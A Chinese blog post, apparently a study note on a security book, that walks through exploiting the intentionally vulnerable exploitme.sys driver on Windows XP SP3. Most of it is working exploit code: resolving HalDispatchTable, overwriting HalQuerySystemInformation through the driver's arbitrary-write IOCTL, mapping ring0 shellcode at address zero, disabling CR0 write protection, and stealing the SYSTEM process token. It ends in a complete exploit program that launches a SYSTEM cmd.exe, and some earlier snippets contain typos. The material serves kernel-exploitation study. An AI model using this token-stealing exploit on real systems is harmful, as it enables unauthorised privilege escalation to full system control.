cstar

eli's docs

   :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

本节接前方,对 exploitme.sys 进行利用。

 

exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用。

获取 HalDispatchTable 表地址 x

HalDispatchTable 是由内核模块导出的,要得到 HalDispatchTable 在内核中的准确地址,先要得到内核模块的基址,再加上 HalDispatchTable 与内核模块的偏移:

 1 NTSATUS NtSataus = STATUS_UNSUCCESSFUL;
 2 ULONG   ReturnLength = 0;
 3 ULONG   ImageBase = 0;
 4 PVOID   MAppedBase = NULL;
 5 UCHAR   ImageName[KERNEL_NAME_LENGTH] = {0};
 6 ULONG   DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
 7 PVOID   HalDispatchTable = NULL;
 8 PVOID   xHalQuerySystemInformation = NULL;
 9 ULONG   ShellCodeSize = (ULONG)EndofMyShellCode - (ULONG)MyShellCode;
10 PVOID   ShellCodeAddress = NULL;
11 UNICODE_STRING  DllName = {0};
12 SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
13 int     RetryTimes = 10;
14 
15 //////////////////////////////////////////////////
16 // 获取内核模块基址和内核模块名称
17 //////////////////////////////////////////////////
18 // 获取内核模块列表数据大小到 ReturnLength
19 //////////////////////////////////////////////////
20 NtStatus = ZwQuerySystemInformation(
21             SystemModuleInformation,
22             ModuleInformation,
23             ReturnLength,
24             &ReturnLength);
25 if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
26     return;
27 
28 // 申请内存 存放内核模块列表数据
29 ModuleInformation = (SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength);
30 if(!ModuleInformaiton)
31     return;
32 // 获取内核模块列表数据到 ModuleInformation
33 NtStatus = ZwQuerySystemInformation(
34             SystemModuleInformation,
35             ModuleInformation,
36             ReturnLength,
37             NULL);
38 if(NtStatus != STATUS_SUCCESS)
39 {
40     free(ModuleInformation);
41     return;
42 }
43 
44 // 从内核模块列表获取内核第一个模块的基址和名称
45 ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);
46 RtlMoveMemory(ImageName,
47                 (PVOID)(ModuleInformation->Modules[0].ImageName +
48                 ModuleInformation->Modules[0].ModuleNameOffset),
49                 KERNEL_NAME_LENGTH);
50 
51 // 释放存放内核模块列表的内存
52 free(ModuleInformation);
53 
54 // 获取内核模块的 UnicodeString
55 RtlCreateUnicodeStringFromeAsciiz(&DllName, (PUCHAR)ImageName);
56 
57 //////////////////////////////////////////////////
58 // 加载内核模块到本地进程
59 //////////////////////////////////////////////////
60 NtStatus = (NTSTATUS)LdrLoadDll(
61             NULL,                   // DllPath
62             &DllCHaracteristics,    // DllCharacteristics
63             &DllName,               // DllName
64             &MappedBase);           // DllHandle
65 if(NtStatus)
66     return;
67 
68 //////////////////////////////////////////////////
69 // 获取内核 HalDispatchTable 函数表地址
70 //////////////////////////////////////////////////
71 HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");
72 if(HalDispatchTable == NULL)
73     return;
74 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase + ImageBase);
75 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));
76 
77 //////////////////////////////////////////////////
78 // 卸载本地进程中的内核模块
79 //////////////////////////////////////////////////
80 LdrUnloadDll((PVOID)MappedBase);

在 0x0 处申请一段内存,并写入 Ring0 Shellcode

在指定地址申请内存推荐使用 ZwAllocateVirtualMemory(),其第二个参数 BaseAddress 指向指定的要申请的内存地址。系统会从指定的地址开始向下搜寻,找到一段需要大小的内存。

 1 //////////////////////////////////////////////////
 2 // 在 0x0 处申请本地进程内存 存放 Ring0 Shellcode
 3 //////////////////////////////////////////////////
 4 ShellCodeAddress = (PVOID)sizeof(ULONG);
 5 NtStatus = ZwAllocateVirtualMemory(
 6     NtCurrentProcess(),         // ProcessHandle
 7     &ShellCodeAddress,          // BaseAddress
 8     0,                          // ZeroBits
 9     &ShellCodeSize,             // AllocationSize
10     MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,    // AllocationType
11     PAGE_EXECUTE_READWRITE);    // Protect
12 if(NtStatus)
13     return;
14 // 存放 ShellCode
15 RtlMoveMemory(ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);
View Code

利用漏洞向 xHalQuerySystemInformation 写入 0x0

 1 //////////////////////////////////////////////////
 2 // 触发漏洞并利用
 3 //////////////////////////////////////////////////
 4 RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
 5 // 打开 ExploitMe 设备
 6 ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
 7 ObjectAttributes.RootDirectory = 0;
 8 ObjectAttributes.ObjectName = &DeviceName;
 9 ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
10 ObjectAttributes.SecurityDescriptor = NULL;
11 ObjectAttributes.SecurityQualityOfService = NULL;
12 NtStatus = NtCreateFile(
13     &DeviceHandle,      // FileHandle
14     FILE_READE_DATA |
15     FILE_WRITE_DATA,    // DesiredAccess
16     &ObjectAttributes,  // ObjectAttributes
17     &IoStatusBlock,     // IoStatusBlock
18     NULL,               // AllocationSize OPTIONAL
19     0,                  // FileAttributes
20     FILE_SHARE_READ |
21     FILE_SHARE_WRITE,   // ShareAccess
22     FILE_OPEN_IF,       // CreateDisposition
23     0,                  // CreateOptions
24     NULL,               // EaBuffer OPTIONAL
25     0);                 // EaLength
26 if(NtStatus)
27 {
28     printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
29     goto ret;
30 }
31 // 利用漏洞将 HalQuerySystemInformation() 地址改为 0x0
32 InputData = 0;
33 NtStatus = NtDeviceIoControlFile(
34     DeviceHandle,       // FileHandle
35     NULL,               // Event
36     NULL,               // ApcRoutine
37     NULL,               // ApcContext
38     &IoStatusBlock,     // IoStatusBlock
39     IOCTL_METHOD_NEITHER,   // IoControlCode
40     &InputData,         // InputBuffer
41     BUFFER_LENGTH,      // InputBufferLength
42     xHalQuerySystemInformation, // OutputBuffer
43     BUFFER_LENGTH);     // OutBufferLength
44 if(NtStatus)
45 {
46     printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
47     goto ret;
48 }
View Code

调用 NtQueryIntervalProfile()

为检验 Ring0 Shellcode 被成功调用,在 Ring0 Shellcode 中将全局变量 g_isRing0ShellcodeCalled 赋为 1,调用完 NtQueryIntervalProfile() 后可检测。

 1 // 漏洞利用
 2 while(RetryTimes > 0)
 3 {
 4     NtStatus = NtQueryIntervalProfile(
 5         ProfileTotalIssues, // Source
 6         NULL);              // Interval
 7     if(NtStatus == 0)
 8     {
 9         printf("NtQueryIntervalProfile() ok!\n");
10     }
11     Sleep(1000);
12     if(g_isRing0ShellcodeCalled == 1)
13         break;
14     RetryTimes--;
15 }
16 if(RetryTimes == 0 && g_isRing0ShellcodeCalled==0)
17     printf("exploit failed!\n");
18 else
19     printf("exploit success!\n");
View Code

将 Ring0 Shellcode 写成假冒的 HalQuerySystemInformation()

 1 NTSTATUS MyShellCode(
 2     ULONG InformationClass,
 3     ULONG BufferSize,
 4     PVOID Buffer,
 5     PULONG ReturnedLength)
 6 {
 7     // 关闭内核写保护
 8     __asm
 9     {
10         cli
11         mov eax, cr0
12         mov g_uCr0, eax
13         and eax, 0xFFFEFFFF
14         mov cr0, eax
15     }
16     // do something in ring0
17     // TODO
18 
19     // 恢复内核写保护
20     __asm
21     {
22         sti
23         mov eax, g_uCr0
24         mov cr0, eax
25     }
26     // 将全局变量置 1
27     g_isRing0ShellcodeCalled = 1;
28     reutrn 0;
29 }
30 void EndofMyShellcode()
31 {
32 }
View Code

 

 

Ring0 Shellcode 的编写

提权到 SYSTEM

修改当前进程的 token 为 SYSTEM 进程的 token,这样当前进程就可以控制整个系统:

 1 NTSTATUS MyShellCode(
 2     ULONG InformationClass,
 3     ULONG BufferSize,
 4     PVOID Buffer,
 5     PULONG ReturnedLength)
 6 {
 7     // 关闭内核写保护
 8     __asm
 9     {
10         cli
11         mov eax, cr0
12         mov g_uCr0, eax
13         and eax, 0xFFFEFFFF
14         mov cr0, eax
15     }
16     // do something in ring0
17 
18     // 提权到 SYSTEM
19     __asm
20     {
21         mov eax, 0xFFDFF124     // eax = KPCR (not 3G mode)
22         mov eax, [eax]          // eax = PETHREAD of current thread
23         mov esi, [eax+0x220]    // esi = PEPROCESS of current process
24         mov eax, esi
25       searchXp:
26         mov eax, [eax+0x88]
27         sub eax, 0x88           // eax = next PEPROCESS in process chain
28         mov edx, [eax+0x84]     // edx = PID of the process
29         cmp edx, 0x4            // search SYSTEM process by PID
30         jne searchXp
31         mov eax, [eax+0xC8]     // eax = SYSTEM process token
32         mov [esi+0xC8], eax     // change the token of current process
33     }
34     // 恢复内核写保护
35     __asm
36     {
37         sti
38         mov eax, g_uCr0
39         mov cr0, eax
40     }
41     g_isRing0ShellcodeCalled = 1;
42     reuturn 0;
43 }

恢复内核 Hook/Inline Hook

以 SSDT Hook 为例介绍代码的编写。恢复代码可以放在 Ring0 Shellcode 中,但在恢复之前先要得到 SSDT 中原始的函数地址。获取原始地址可以在 Ring3 实现。

在 Ring3 中获取原始 SSDT 函数地址和内核中 SSDT 表的地址:

 1 // 全局变量 内核中 SSDT 表的地址
 2 ULONG g_RealSSDT = 0;
 3 // 全局变量 SSDT 函数个数
 4 ULONG g_ServiceNum = 0x11C;
 5 // 全局变量 SSDT 函数原始地址数组
 6 ULONG g_OrgService[0x11C];
 7 //////////////////////////////////////////////
 8 // 获取 SSDT 中函数的原始地址和 SSDT 表地址
 9 //////////////////////////////////////////////
10 // 获取本地进程中加载的内核模块中的 KeServiceDescriptorTable 地址
11 ULONG KeSSDT = (ULONG)GetProcAddress((HMODULE)MappedBase,"KeServiceDescriptorTable");
12 if (KeSSDT == 0)
13     return;
14 // 获取本地进程中加载的内核模块中的 KiServiceTable 与 poh_ImageBase 的偏移
15 ULONG poh_ImageBase = 0;
16 ULONG KiSSDT = FindKiServiceTable((HMODULE)MappedBase,KeSSDT-(ULONG)MappedBase,&poh_ImageBase);
17 if (KiSSDT == 0)
18     return;
19 // 获取本地进程中加载的内核模块中的 KiServiceTable 地址
20 KiSSDT += (ULONG)MappedBase;
21 // 遍历本地进程中加载的内核模块中的 KiServiceTable 指向的列表,并换算内核中原始 SSDT 函数地址
22 for (ULONG i = 0; i < ServiceNum; i++)
23 {
24     g_OrgService[i] = *(ULONG*)(KiSSDT+i*sizeof(ULONG))+(ULONG)ImageBase-poh_ImageBase;
25 }
26 // 换算内核中 SSDT 表的地址
27 g_RealSSDT = KeSSDT - (ULONG)MappedBase + (ULONG)ImageBase;

得到原始 SSDT 函数地址和内核中 SSDT 表的地址后,Ring0 Shellcode 的任务就是恢复所有 Hook:

1 // 恢复所有的 SSDT Hook
2 ULONG i;
3 for (i=0; i<g_ServiceNum; i++)
4 {
5     *(ULONG*)(*(ULONG*)g_RealSSDT+i*sizeof(ULONG)) = g_OrgService[i];
6 }

添加调用门/中断门/任务门/陷阱门

详细知识参见看雪学院《rootkit ring3 进 ring0 之门系列》共四篇。

 

最后修改了随书光盘中测试 ExploitMe.sys 的 Ring3 测试代码,在 XP sp3 下测试能得到 SYSTEM 权限的 cmd.exe。但溢出之后会蓝屏,估计是其它代码调用了被修改过的 HalQuerySystemInformation(),代码如下:

  1 // exploit.cpp : Defines the entry point for the console application.
  2 //
  3 // env:
  4 //   os: windows xp sp3
  5 //   ide: vs 2008
  6 
  7 #include "stdafx.h"
  8 #include <stdio.h>
  9 #include <stdlib.h>
 10 #include <windows.h>
 11 #include <string.h>
 12 #include "ntapi.h"
 13 #pragma comment(linker,"/defaultlib:ntdll.lib")  
 14 
 15 #define PAGE_SIZE 0x1000
 16 #define OBJ_CASE_INSENSITIVE 0x00000040
 17 #define FILE_OPEN_IF 0x00000003
 18 #define KERNEL_NAME_LENGTH 0x0D
 19 #define BUFFER_LENGTH 0x04
 20 
 21 //触发漏洞使用的IoControlCode
 22 #define IOCTL_METHOD_NEITHER 0x8888A003
 23  
 24 //Ring0中执行的Shellcode
 25 NTSTATUS Ring0ShellCode(    
 26                         ULONG InformationClass,
 27                         ULONG BufferSize,
 28                         PVOID Buffer,
 29                         PULONG ReturnedLength)
 30 {
 31     int g_uCr0;
 32     __asm
 33     {
 34         cli;
 35         mov eax, cr0;
 36         mov g_uCr0,eax; 
 37         and eax,0xFFFEFFFF; 
 38         mov cr0, eax; 
 39     }
 40     // 提权到 SYSTEM
 41     __asm
 42     {
 43         mov eax, 0xFFDFF124     // eax = KPCR (not 3G mode)
 44         mov eax, [eax]          // eax = PETHREAD of current thread
 45         mov esi, [eax+0x220]    // esi = PEPROCESS of current process
 46         mov eax, esi
 47       searchXp:
 48         mov eax, [eax+0x88]
 49         sub eax, 0x88           // eax = next PEPROCESS in process chain
 50         mov edx, [eax+0x84]     // edx = PID of the process
 51         cmp edx, 0x4            // search SYSTEM process by PID
 52         jne searchXp
 53         mov eax, [eax+0xC8]     // eax = SYSTEM process token
 54         mov [esi+0xC8], eax     // change the token of current process
 55     }
 56     // 恢复内核写保护
 57     __asm
 58     {
 59         sti
 60         mov eax, g_uCr0
 61         mov cr0, eax
 62     }
 63     //g_isRing0ShellcodeCalled = 1;
 64     return 0;
 65 }  
 66 
 67 //申请内存的函数
 68 PVOID MyAllocateMemory(IN ULONG Length)
 69 {
 70     NTSTATUS NtStatus;
 71     PVOID BaseAddress = NULL;
 72     NtStatus = NtAllocateVirtualMemory(
 73         NtCurrentProcess(),
 74         &BaseAddress,
 75         0,
 76         &Length,
 77         MEM_RESERVE |
 78         MEM_COMMIT,
 79         PAGE_READWRITE);
 80     if(NtStatus == STATUS_SUCCESS)
 81     {
 82         RtlZeroMemory(BaseAddress, Length);
 83         return BaseAddress;
 84     }
 85     return NULL;
 86 }
 87 
 88 //释放内存的函数
 89 VOID MyFreeMemory(IN PVOID BaseAddress)
 90 {
 91     NTSTATUS NtStatus;
 92     ULONG FreeSize = 0;
 93     NtStatus = NtFreeVirtualMemory(
 94         NtCurrentProcess(),
 95         &BaseAddress,
 96         &FreeSize,
 97         MEM_RELEASE);
 98 }
 99 
100 //main函数
101 int _tmain(int argc, _TCHAR* argv[])
102 {
103     NTSTATUS NtStatus;
104     HANDLE DeviceHandle=NULL;
105     ULONG ReturnLength = 0;
106     ULONG ImageBase;
107     PVOID MappedBase=NULL;
108     UCHAR ImageName[KERNEL_NAME_LENGTH];
109     ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
110     PVOID HalDispatchTable;
111     PVOID xHalQuerySystemInformation;
112     ULONG ShellCodeSize = PAGE_SIZE;
113     PVOID ShellCodeAddress;
114     PVOID BaseAddress = NULL;
115     UNICODE_STRING DeviceName;
116     UNICODE_STRING DllName;
117     ANSI_STRING ProcedureName;
118     OBJECT_ATTRIBUTES ObjectAttributes;
119     IO_STATUS_BLOCK IoStatusBlock;
120     SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
121     LARGE_INTEGER Interval;
122     ULONG InputData=0;
123 
124     //清空控制台屏幕
125     system("cls");
126 
127     //获取内核模块列表数据长度到ReturnLength
128     NtStatus = NtQuerySystemInformation(
129         SystemModuleInformation,
130         ModuleInformation,
131         ReturnLength,
132         &ReturnLength);
133     if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
134     {
135         printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus); 
136         goto ret;
137     }
138 
139     //申请内存
140     ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
141     ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
142     if(ModuleInformation==NULL)
143     {
144         printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength); 
145         goto ret;
146     }
147 
148     //获取内核模块列表数据
149     NtStatus = NtQuerySystemInformation(
150         SystemModuleInformation,
151         ModuleInformation,
152         ReturnLength,
153         NULL);
154     if(NtStatus != STATUS_SUCCESS)
155     {
156         printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus); 
157         goto ret;
158     }
159                 
160     //保存内核第一个模块(即nt模块)基址和名称,并打印
161     ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
162     RtlMoveMemory(
163         ImageName,
164         (PVOID)(ModuleInformation->Module[0].ImageName +
165         ModuleInformation->Module[0].PathLength),
166         KERNEL_NAME_LENGTH);
167     printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase,    ImageName);
168     
169 
170     //获取内核模块名称字符串的Unicode字符串
171     RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
172 
173     //加载内核模块到本进程空间
174     NtStatus = LdrLoadDll(
175         NULL,                // DllPath
176         &DllCharacteristics, // DllCharacteristics
177         &DllName,            // DllName
178         &MappedBase);        // DllHandle
179     if(NtStatus)
180     {
181         printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);    
182         goto ret;
183     }
184 
185     //获取内核模块在本进程空间中导出名称HalDispatchTable的地址
186     RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
187     NtStatus = LdrGetProcedureAddress(
188         (PVOID)MappedBase,          // DllHandle
189         &ProcedureName,             // ProcedureName
190         0,                          // ProcedureNumber OPTIONAL
191         (PVOID*)&HalDispatchTable); // ProcedureAddress
192     if(NtStatus)
193     {
194         printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);    
195         goto ret;
196     }
197 
198     //计算实际的HalDispatchTable内核地址
199     HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
200     HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);
201 
202     //HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
203     xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));
204 
205     //打印HalDispatchTable内核地址和xHalQuerySystemInformation值
206     printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
207         HalDispatchTable,
208         xHalQuerySystemInformation);
209 
210     //设备名称的Unicode字符串
211     RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
212 
213     //打开ExploitMe设备
214     ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
215     ObjectAttributes.RootDirectory = 0;
216     ObjectAttributes.ObjectName = &DeviceName;
217     ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
218     ObjectAttributes.SecurityDescriptor = NULL;
219     ObjectAttributes.SecurityQualityOfService = NULL;
220     NtStatus = NtCreateFile(
221         &DeviceHandle,     // FileHandle
222         FILE_READ_DATA |
223         FILE_WRITE_DATA,   // DesiredAccess
224         &ObjectAttributes, // ObjectAttributes
225         &IoStatusBlock,    // IoStatusBlock
226         NULL,              // AllocationSize OPTIONAL
227         0,                 // FileAttributes
228         FILE_SHARE_READ |
229         FILE_SHARE_WRITE, // ShareAccess
230         FILE_OPEN_IF,     // CreateDisposition
231         0,                // CreateOptions
232         NULL,             // EaBuffer OPTIONAL
233         0);               // EaLength
234     if(NtStatus)
235     {
236         printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);    
237         goto ret;
238     }
239     //利用漏洞将HalQuerySystemInformation函数地址改为0
240     InputData = 0;
241     NtStatus = NtDeviceIoControlFile(
242         DeviceHandle,         // FileHandle
243         NULL,                 // Event
244         NULL,                 // ApcRoutine
245         NULL,                 // ApcContext
246         &IoStatusBlock,       // IoStatusBlock
247         IOCTL_METHOD_NEITHER, // IoControlCode
248         &InputData,           // InputBuffer
249         BUFFER_LENGTH,        // InputBufferLength
250         xHalQuerySystemInformation, // OutputBuffer
251         BUFFER_LENGTH);       // OutBufferLength
252     if(NtStatus)
253     {
254         printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
255         goto ret;
256     } 
257 
258     //在本进程空间申请0地址内存
259     ShellCodeAddress = (PVOID)sizeof(ULONG);
260     NtStatus = NtAllocateVirtualMemory(
261         NtCurrentProcess(),      // ProcessHandle
262         &ShellCodeAddress,       // BaseAddress
263         0,                       // ZeroBits
264         &ShellCodeSize,          // AllocationSize
265         MEM_RESERVE | 
266         MEM_COMMIT |
267         MEM_TOP_DOWN,            // AllocationType
268         PAGE_EXECUTE_READWRITE); // Protect
269     if(NtStatus)
270     {
271         printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);    
272         goto ret;
273     }
274     printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); 
275 
276     //复制Ring0ShellCode到0地址内存中
277     RtlMoveMemory(
278         ShellCodeAddress,
279         (PVOID)Ring0ShellCode,
280         ShellCodeSize);
281 
282     //触发漏洞
283     NtStatus = NtQueryIntervalProfile(
284         ProfileTotalIssues, // Source
285         NULL);              // Interval
286     if(NtStatus)
287     {
288         printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
289         goto ret;
290     }
291     printf("NtQueryIntervalProfile succeed!\n");
292     system("start cmd.exe");
293 
294 
295 ret:
296     //释放申请的内存
297     if (ModuleInformation)
298     {
299         MyFreeMemory(ModuleInformation);
300     }
301     //卸载本进程中的内核模块
302     if (MappedBase)
303     {
304         LdrUnloadDll((PVOID)MappedBase);
305     }
306     //关闭句柄
307     if(DeviceHandle)
308     {
309         NtStatus = NtClose(DeviceHandle);
310         if(NtStatus)
311         {
312             printf("NtClose failed! NtStatus=%.8X\n", NtStatus);    
313         }
314     }
315     return 0;
316 }
View Code

 

posted on 2014-11-19 10:38  exclm  阅读(743)  评论(0编辑  收藏  举报